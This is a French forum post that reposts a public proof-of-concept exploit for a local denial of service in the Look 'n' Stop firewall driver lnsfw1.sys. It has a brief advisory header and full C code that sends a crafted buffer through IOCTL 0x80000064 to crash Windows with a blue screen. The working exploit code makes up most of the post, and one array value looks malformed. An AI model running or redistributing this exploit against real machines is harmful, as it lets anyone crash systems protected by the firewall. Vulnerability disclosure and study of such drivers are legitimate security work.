Le légendaire (mais considéré comme compliqué) et puissant firewall "Look'n'Stop" est victime d'un DoS. C'est rare de le voir subir des attaques, preuve de fiabilité?
- Code: Tout sélectionner
#include <stdio.h>
#include <windows.h>
#include <winioctl.h>
#include <stdlib.h>
#include <string.h>
/*
Program : Look 'n' Stop 2.06p4 / 2.07 (6.0.2900.5512)
Homepage : http://www.looknstop.com
Discovery : 2009/11/08
Author Contacted : 2010/07/15 ... no reply
Found by : Heurs
This Advisory : Heurs
Contact : s.leberre@sysdream.com
//----- Application description
Look 'n' Stop Firewall 2.07 provides key features to protect your computer
against cyber threats. It prevents malicious programs from transmitting the
data of your computer to hacker's computers. Look 'n' Stop Firewall 2.07
also protects your computer from external intrusions.
//----- Description of vulnerability
lnsfw1.sys driver generate a BSOD with particular value of IOCTL. Kernel wait
an action with a kernel debugger.
//----- Credits
http://www.sysdream.com
http://www.hackinparis.com/
http://ghostsinthestack.org
s.leberre at sysdream dot com
heurs at ghostsinthestack dot org
*/
int __cdecl main(int argc, char* argv[])
{
HANDLE hDevice = (HANDLE) 0xffffffff;
DWORD NombreByte;
DWORD Crashing[] = {
0x200ff822, 0xd24b37a1, 0x8ce055dc, 0x70b3d269,
0x3d2ef498, 0xcdd0e57c, 0xf2699fab, 0xed753dcb,
0xfdde2a99, 0x90590b61, 0x28011112, 0xeb35191c,
0x36f0e1e7, 0xef7ee764, 0x09b01e1f, 0x0bb86825,
0x1b886612, 0xd8c289df, 0xaa21ad45, 0x6fa7a76d,
0x13492a54, 0x7c2bc443, 0x65dbf582, 0xffeb86cc,
0xf48ca4fd, 0x75542bb5, 0xd05638ba, 0x3876e368,
0x678ba399, 0x6779f15c, 0x8f89ff55, 0xc8b9cf02,
0x033b9857, 0x82eef1a9, 0xf0dba3b6, 0xadf5b8f6,
0x033ef961, 0x393f043b, 0x515896fd, 0x28d10e25,
0x37b7f707, 0x1a425f92, 0x4bc6acfb, 0x45390605,
0x0be40107, 0xf121a706, 0x4b4c0e31, 0x88889f12,
0x0c60806d, 0x03af4569, 0xe5b68798, 0xb22bd966,
0xd532fe7f, 0x19a7213a, 0x6927f7f5, 0xcd4c3202,
0x96831f6b, 0x1d09991d, 0x48d1da67, 0x68f24415,
0xbb01a216, 0xdb6b634a, 0x18e36cb4, 0xcd7265c2,
0x64b81111, 0x4305d1b3, 0xc4f1ee8d, 0xfcd61343,
0xb8bfc8b9, 0x8a1a5541, 0xe9c3adcb, 0xca4c2a56,
0x89a67e7d, 0x74b8704e, 0xfe70e4d6, 0x27612082,
0xd8e211d7, 0x190ec39c, 0x380dfc09, 0x8d649b0c,
0xeda15e23, 0xe2e76319, 0xc781f249, 0x4cb25434,
0xeff3dc6a, 0xa0a6e976, 0x57014474, 0x98629b36,
0x2cc9fb9d, 0xa6a8b31b, 0xa3fbef44, 0xfeb130d3,
0x91e8c96b, 0xdc953762, 0x77341f7c, 0xd4ec9d26,
0x8504a663, 0x1da0406a, 0x8a049adf, 0x0f2ca8ef,
0xbc93ec1e, 0x027bdfad, 0x4c8885f6, 0x1c30be98,
0x0ec01493, 0x124d4252, 0x0765f8c1, 0x801652da,
0x778a6e6a, 0x09ef17aa, 0x6ece13fd, 0xa7280f9c,
0xcf6235f9, 0xabdeae81, 0x8145979e, 0x45af7871,
0xed3d36e0, 0x9e223b88, 0xfe26e7f2, 0xe13743f1,
0xa8171a6e, 0x611c303f, 0x252a68d2, 0xd013e026,
0x1259b868, 0xf673c420, 0x27a60840, 0xd87eed92,
0xef872203, 0x26868592, 0x18324bc9, 0xed47e068,
0xf2c0b162, 0x95966d8e, 0x07cc53db, 0xe8360489,
0x7c630b42, 0x8ab52dd9, 0xc5bf0c0e, 0xae8a8284,
0x97a0a5ab, 0x0cccb1c4, 0x4d768275, 0x1101e67e,
0x16e2f2c3, 0x82b7686a, 0x5b26314e, 0x52f74f38,
0xcb341107, 0xa59c70d0, 0x3327af19, 0xdd51188f,
0x54636221, 0xa05f288a, 0xeb7d4a3a, 0x2065885d,
0xb103190e, 0xd36e7e1e, 0xf7a7d560, 0xc62c828d,
0x9fc687e9, 0xcf609352, 00e96253
};
BYTE Out[0x20];
printf("0day Local DoS - Look 'n' Stop 2.06p4\n\n");
hDevice = CreateFile("\\\\.\\LNSFW1",GENERIC_READ|GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL);
printf("%x\n",hDevice);
DeviceIoControl(hDevice,0x80000064,Crashing,0x28b,0,0,&NombreByte,NULL);
printf("Sploit Send.\n\n");
CloseHandle(hDevice);
getch();
return 0;
}
Src here:
- Code: Tout sélectionner
http://www.exploit-db.com/exploits/16021/
